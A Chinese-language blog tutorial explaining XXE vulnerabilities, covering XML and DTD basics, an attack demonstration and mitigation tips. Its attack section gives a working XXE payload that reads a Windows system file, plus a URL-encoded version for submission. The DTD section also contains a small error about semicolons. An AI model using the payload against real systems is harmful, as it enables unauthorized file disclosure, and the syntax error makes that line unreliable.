XXE外部实体引入漏洞原理及复现

2023-05-16

文章目录

  • 1.简介
  • 2.XML基本语法
    • 2.1.文档声明
    • 2.2.根元素
    • 2.3.元素
    • 2.4.属性
    • 2.5.注释
    • 2.6.CDATA
    • 2.7.空元素
  • 3.DTD基本语法
    • 3.1.要点
    • 3.2.DTD 示例
  • 4.攻击
  • 5.防范

1.简介

XXE (XML 外部实体) 是一种安全漏洞,影响解析 XML 输入的应用程序。该漏洞允许攻击者在 XML 文档中注入外部实体, DTD 可以在 XML 文档中引用外部实体。如果 XML 解析器未正确验证外部实体的内容,攻击者可以利用 XXE 漏洞读取系统的机密数据,或者在恶意 DTD 文件中执行任意代码。

当应用程序未能正确处理传入的 XML 数据或未限制可以处理的实体类型时,XXE 可能发生。因此,攻击者可以构造一个包含外部实体的恶意 XML 文档,该外部实体由脆弱的应用程序处理。

2.XML基本语法

2.1.文档声明

XML 文档必须以一个特殊的声明开头,用于指示 XML 文件的版本和编码。格式如下:

<?xml version="1.0" encoding="UTF-8"?>

2.2.根元素

XML 文档必须有一个根元素,它是整个文档的容器。根元素包含其他元素,并以标签的形式定义。例如:

<root>
...
</root>

2.3.元素

XML 文档中的所有数据都存储在元素中。元素用标签定义,并以开始标签和结束标签的形式表示。例如:

<element>This is a sample element</element>

2.4.属性

元素可以有属性,用于提供有关元素的其他信息。属性以名称/值对的形式出现在元素的开始标签中。例如:

<element attribute="value">This is a sample element</element>

2.5.注释

XML 文档可以包含注释,用于提供有关代码的信息。注释以特殊的标记开头,并以特殊的标记结尾。例如:

<!-- This is a sample comment -->

2.6.CDATA

XML 文档可以包含 CDATA(不被解析的数据)。CDATA 用于包含不需要解析的数据,例如 HTML 或 JavaScript 代码。CDATA 以特殊的标记开头和结尾。例如:

<![CDATA[This is a sample CDATA]]>

2.7.空元素

XML 中的空元素是没有内容的元素。它以特殊的标记表示,例如:

<empty_element />

3.DTD基本语法

3.1.要点

DTD 文档以 <!DOCTYPE 开头,后跟元素的类型和 DTD 文件的位置。

元素定义以 <!ELEMENT 开头,后跟元素的名称和其子元素的描述。

属性定义以 <!ATTLIST 开头,后跟元素的名称和其属性的描述。

元素类型可以是元素的名称、#PCDATA(表示元素中的文本)或其他元素类型的序列。

可以使用通配符(例如 * 和 +)来描述元素出现的次数。

可以使用括号(例如 (A|B))来描述多个元素的选择。

可以使用引用(例如 %name;)来重复使用元素定义。

所有定义必须以分号结尾。

3.2.DTD 示例

<!DOCTYPE book [
<!ELEMENT book (title, author, pages)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT pages (#PCDATA)>
<!ATTLIST book ISBN CDATA #REQUIRED>
]>

4.攻击

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

在可能存在漏洞的点,尝试利用XXE读取win.ini,这里对其做了一个简单的URL编码

%3C%3Fxml+version%3D%221.0%22%3F%3E++%3C%21DOCTYPE+foo+%5B+++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E+%5D%3E++%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&submit=%E6%8F%90%E4%BA%A4

请添加图片描述

5.防范

  • 禁用 XML 解析器中的外部实体处理
  • 验证传入的 XML 数据,以确保其仅包含允许的实体
  • 使用安全的库和 API 处理 XML 数据
  • 实施适当的输入验证,防止恶意的 XML 输入
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XXE外部实体引入漏洞原理及复现 的相关文章

随机推荐

  • 12个优秀的 HTML5 网站设计案例欣赏

    12个优秀的 HTML5 网站设计案例欣赏 欣赏地址 xff1a 12个优秀的 HTML5 网站设计案例欣赏
  • 卸载Symantec Endpoint Protection, 无需密码的卸载方法

    原文地址为 xff1a 卸载Symantec Endpoint Protection 无需密码的卸载方法 最近一次偶然的机会 被人装了个Symantec在电脑上 搞得各种报警 验证 烦死 然后就自然而然的想卸载掉这个该死的杀毒软件 没想到这
  • golang使用time包获取时间戳与日期格式化

    golang使用time包获取时间戳与日期格式化 Time包定义的类型 Time 时间类型 包含了秒和纳秒以及 Location Month type Month int 月份 定义了十二个月的常量 span class token key
  • java.net.SocketTimeoutException: Read timed out

    原文地址为 xff1a java net SocketTimeoutException Read timed out http xye 462438944 163 com iteye com blog 1205894 在调用org apac
  • AM、PM是上午和下午的英文缩写、英文缩写(英语星期月份等)

    原文地址为 xff1a AM PM是上午和下午的英文缩写 英文缩写 英语星期月份等 十二小时制是一个时间规则把一日24小时分为两个时段 xff0c 分别为上午 xff08 a m xff0c 拉丁文ante meridiem表示中午之前 x
  • str_replace函数详解

    原文地址为 xff1a str replace函数详解 在开发过程中 xff0c 字符串的操作是很频繁的 xff0c 这几天有看PHP手册中讲解str replace函数的讲解 xff0c 不是很明白 xff0c 特作如下笔记 xff0c
  • Apache开启 目录浏览 功能

    Apache配置支持目录浏览 主配置文件 httpd conf 中修改 xff1a 在配置文件那里添加如下内容 1 2 3 4 5 6 7 8 9 10 Directory 34 文件绝对路径 34 gt 开启目录列表索引模式 Option
  • 文件上传漏洞原理及绕过

    文章目录 文件上传的原理 文件上传的危害 绕过方式 1 JS前端绕过原理 1 1 攻击流程 1 2 绕过 1 2 1使用BurpSuite 1 2 2 禁用或删除JavaScript代码 2 白名单绕过原理 2 1 攻击流程 2 1 1 0
  • 内网渗透之域环境搭建详细教程

    文章目录 1 设置IP 2 部署域控 2 1 安装活动目录和DNS服务 2 2 提升服务器为域控 2 3 部署配置 2 4 域控制器选项 2 5 先决条件检查 3 将其他两台服务器加入域 4 创建AD域用户 1 设置IP 设置 gt NAT
  • 域内用户枚举与密码喷洒

    文章目录 1 用户名枚举 1 1 原理 1 2 工具 1 3 用法 2 密码喷洒 2 1 原理 2 2 工具 2 3 用法 1 用户名枚举 1 1 原理 域内用户可以在没有域内有效凭据下 枚举出域内所存在的用户名 从而可以进行密码喷洒 在K
  • 本地文件包含原理常见的函数及利用

    文章目录 1 原理 2 PHP文件包含函数 3 攻击流程 4 代码 5 防范 1 原理 本地文件包含漏洞 Local File Inclusion LFI 是一种常见的 Web 应用程序漏洞 仅能够对服务器本地的文件进行包含 由于服务器上的
  • 黄金票据原理制作与利用

    文章目录 原理 攻击场景 利用前提 生成流程 获取域名 获取SID 获取域的krbtgt ntml hash 伪造票据 传递票据注入内存 总结 原理 黄金票据 golden ticket 攻击是一种滥用 Kerberos 身份认证协议的攻击
  • 白银票据原理制作与利用

    文章目录 原理 利用条件 利用前提 生成流程 获取服务账号HASH 获取域SID 获取域名 获取名称 制造票据 票据注入内存前后对比 总结 原理 白银票据是伪造的Silver Ticket ST 它可以让你访问服务器上的指定服务 但是不能访
  • Nestjs框架快速入门:安装与启动

    Nestjs框架快速入门 安装与启动 Nest 是构建高效可扩展的 Node js Web 应用程序的框架 Nest 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node versio
  • mimikatz常见命令

    文章目录 1 mimikatz简介2 命令2 1 常用命令2 2 privilege debug2 3 sekurlsa logonpasswords 1 mimikatz简介 Mimikatz 是一款用于提取 Windows 系统中用户凭
  • 内网中快速定位域管理员

    文章目录 1 攻击手法 1 1 日志分析 1 2 会话分析 2 工具 2 1 psloggedon exe 2 1 1 简介 2 1 2 下载地址 2 1 3 用法 2 2 netview exe 2 2 1 简介 2 2 2 下载地址 2
  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体